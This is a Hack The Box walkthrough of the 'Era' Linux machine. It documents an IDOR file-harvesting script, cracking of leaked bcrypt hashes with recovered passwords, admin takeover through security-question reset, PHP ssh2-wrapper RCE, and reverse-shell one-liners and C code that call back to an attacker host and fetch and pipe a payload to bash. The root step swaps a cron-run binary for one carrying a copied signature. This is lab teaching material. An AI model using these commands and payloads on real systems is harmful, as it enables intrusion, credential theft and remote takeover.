Hack The Box / LINUX / 2025-11-29
Hack The Box — Era (Linux)
IDOR-based file harvesting exposes backups and credentials, admin account takeover enables PHP ssh2 wrapper RCE, then signed ELF replacement in AV monitor cron path gives root.
Target
- IP:
10.129.98.215
Port scan
sudo nmap -sC -sV 10.129.98.215 -p- -T5 -v
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Add era.htb to /etc/hosts.
Go to http://era.htb.
gobuster vhost -u http://era.htb/ -w /home/kali/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 --append-domain
Found: file.era.htb Status: 200 [Size: 6765]
Add it to /etc/hosts.
Go to http://file.era.htb/.
There are links to other pages, but login is required.
gobuster dir -u 'http://file.era.htb/' -w /home/kali/SecLists/Discovery/Web-Content/raft-small-words.txt -t 50 -x php --exclude-length 6765
We notice register.php, not shown on homepage.
Register with random username/password and login.
We can upload an arbitrary file.
We can view it at a link, for example in our case:
http://file.era.htb/download.php?id=8854
And download it with:
http://file.era.htb/download.php?id=8854&dl=true
We can brute-force ids of files uploaded by other users.
Generate a wordlist of possible ids with this bash script (also attached as attachments/gen_wordlist.sh):
#!/bin/bash
for ((i=0; i<=9999; i++)); do
printf "%04d\n" "$i"
done
Put it in file gen_wordlist.sh.
chmod +x gen_wordlist.sh
./gen_wordlist.sh > wordlist.txt
ffuf -u 'http://file.era.htb/download.php?id=FUZZ&dl=true' -w ./wordlist.txt --cookie 'PHPSESSID=29rcblpvkc6c83bq7r6map8oag' -t 50 -fw 3161
0150 [Status: 200, Size: 2746, Words: 12, Lines: 9, Duration: 10ms]
0054 [Status: 200, Size: 2006697, Words: 7361, Lines: 7445, Duration: 57ms]
8854 [Status: 200, Size: 31, Words: 3, Lines: 2, Duration: 8ms]
File with id 0150 is signing.zip.
unzip -l signing.zip
Archive: signing.zip
Length Date Time Name
--------- ---------- ----- ----
2949 2025-01-26 02:09 key.pem
355 2025-01-26 02:09 x509.genkey
--------- -------
3304 2 files
In key.pem there is a private key and certificate.
In x509.genkey there is a user: yurivich.
File with id 0054 is site-backup-30-08-24.zip.
It looks like a backup of file.era.htb.
There is source code of various pages.
There is file: filedb.sqlite.
sqlite3 filedb.sqlite
.tables
files users
PRAGMA table_info(users);
0|user_id|INTEGER|0||1
1|user_name|varchar(255)|1||0
2|user_password|varchar(255)|1||0
3|auto_delete_files_after|INT|1||0
4|security_answer1|varchar(255)|0||0
5|security_answer2|varchar(255)|0||0
6|security_answer3|varchar(255)|0||0
select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
Put this into file hash:
admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
./hashcat-6.2.6/hashcat.bin -a 0 -m 3200 ./hash ./rockyou.txt --username
./hashcat-6.2.6/hashcat.bin -a 0 -m 3200 ./hash ./rockyou.txt --username --show
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
ftp era.htb
Specify user yuri and his password.
dir
229 Entering Extended Passive Mode (|||8596|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
cd apache2_conf
dir
-rw-r--r-- 1 0 0 1332 Dec 08 2024 000-default.conf
-rw-r--r-- 1 0 0 7224 Dec 08 2024 apache2.conf
-rw-r--r-- 1 0 0 222 Dec 13 2024 file.conf
-rw-r--r-- 1 0 0 320 Dec 08 2024 ports.conf
Download all files.
In file.conf, we get the site path in filesystem: /var/www/file.
cd php8.1_conf
dir
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 build
-rw-r--r-- 1 0 0 35080 Dec 08 2024 calendar.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 ctype.so
-rw-r--r-- 1 0 0 190728 Dec 08 2024 dom.so
-rw-r--r-- 1 0 0 96520 Dec 08 2024 exif.so
-rw-r--r-- 1 0 0 174344 Dec 08 2024 ffi.so
-rw-r--r-- 1 0 0 7153984 Dec 08 2024 fileinfo.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 ftp.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 gettext.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 iconv.so
-rw-r--r-- 1 0 0 1006632 Dec 08 2024 opcache.so
-rw-r--r-- 1 0 0 121096 Dec 08 2024 pdo.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 pdo_sqlite.so
-rw-r--r-- 1 0 0 284936 Dec 08 2024 phar.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 posix.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 readline.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 shmop.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 simplexml.so
-rw-r--r-- 1 0 0 104712 Dec 08 2024 sockets.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 sqlite3.so
-rw-r--r-- 1 0 0 313912 Dec 08 2024 ssh2.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvmsg.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 sysvsem.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvshm.so
-rw-r--r-- 1 0 0 35080 Dec 08 2024 tokenizer.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 xml.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 xmlreader.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 xmlwriter.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 xsl.so
-rw-r--r-- 1 0 0 84232 Dec 08 2024 zip.so
We notice ssh2 extension is active.
On site http://file.era.htb it is also possible to modify security questions.
You must specify a username and answers.
We know admin username: admin_ef01cab31aa.
So we set that username and change answers.
Then login using security answers (there is a link to login form in homepage).
We can login as user admin_ef01cab31aa.
We discover that the two zip files we downloaded belong to admin.
In source code of download.php we notice:
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
So for example we can go to:
http://file.era.htb/download.php?id=150&show=true
And it shows:
Opening: files/signing.zip Resource id #2
Now we can exploit ssh2 wrapper:
- https://www.php.net/manual/uk/wrappers.ssh2.php
From browser, F12 → Application tab → get cookie PHPSESSID.
Now use curl:
curl 'http://file.era.htb/download.php?id=6073&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/sleep%205%23' --cookie 'PHPSESSID=29rcblpvkc6c83bq7r6map8oag'
Which corresponds to command:
sleep 5#
We added # because site appends files/<filename> (for example files/signing.zip), and # is a comment in shells like sh and bash.
We see response arrives after around 5 seconds, so we have RCE.
Now try to get a reverse shell.
Create file rev:
bash -i >& /dev/tcp/10.10.15.37/4444 0>&1
Start Python server and netcat listener:
python3 -m http.server 7777
nc -vlnp 4444
Now run:
curl 'http://file.era.htb/download.php?id=150&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/curl%20http%3A%2F%2F10%2E10%2E15%2E37%3A7777%2Frev%7Cbash%23' --cookie 'PHPSESSID=29rcblpvkc6c83bq7r6map8oag'
Which corresponds to command:
curl http://10.10.15.37:7777/rev|bash#
We obtain a reverse shell as user yuri.
ls -la /home
There is also user eric.
yuri does not appear to have anything interesting, so we switch to eric.
su eric
Insert previously found eric password.
We get a shell as eric.
id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
We see eric is in group devs.
find / -group devs 2> /dev/null
/opt/AV
/opt/AV/periodic-checks
/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.log
ls -la /opt/AV/periodic-checks
drwxrwxr-- 2 root devs 4096 Jul 29 21:36 .
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 29 21:36 monitor
-rw-rw---- 1 root devs 103 Jul 29 21:36 status.log
file /opt/AV/periodic-checks/monitor
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped
Download monitor (for example run python3 -m http.server on victim and use wget on attacker).
Open it with Ghidra.
main function does this:
puts("[*] System scan initiated...");
sleep(3);
puts("[*] No threats detected. Shutting down...");
return 0;
cat status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
By monitoring date/time of status.log, we notice it is modified every minute, so likely a cron job runs monitor every minute and writes output to status.log.
Since eric is in devs, we can modify monitor.
Try a reverse shell.
Listen with netcat:
nc -vlnp 4444
On victim machine run:
echo '#!/bin/bash
bash -i >& /dev/tcp/10.10.15.37/4444 0>&1' > monitor
Wait, then:
cat status.log
objcopy: /opt/AV/periodic-checks/monitor: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
So we cannot do it this way.
To understand better, use pspy64:
- https://github.com/DominicBreuker/pspy
Upload it to victim.
chmod +x pspy64
./pspy64
We notice:
2025/07/29 21:47:01 CMD: UID=0 PID=14075 | /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1
2025/07/29 21:47:01 CMD: UID=0 PID=14076 | /bin/bash /root/initiate_monitoring.sh
2025/07/29 21:47:01 CMD: UID=0 PID=14077 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
2025/07/29 21:47:01 CMD: UID=0 PID=14078 | /bin/bash /root/initiate_monitoring.sh
2025/07/29 21:47:01 CMD: UID=0 PID=14079 | openssl asn1parse -inform DER -in text_sig_section.bin
On attacker machine run:
objcopy --dump-section .text_sig=text_sig_section.bin monitor
file text_sig_section.bin
text_sig_section.bin: DER Encoded PKCS#7 Signed Data
Now create a simple C program for reverse shell:
#include <stdlib.h>
int main() {
system("bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1'");
return 0;
}
Compile it:
gcc -o myrev rev.c
Inject signature section:
objcopy --add-section .text_sig=text_sig_section.bin myrev
Now upload myrev to victim and replace monitor, for example with:
curl http://10.10.15.37:7777/myrev -o monitor
Wait.
We obtain a reverse shell as root.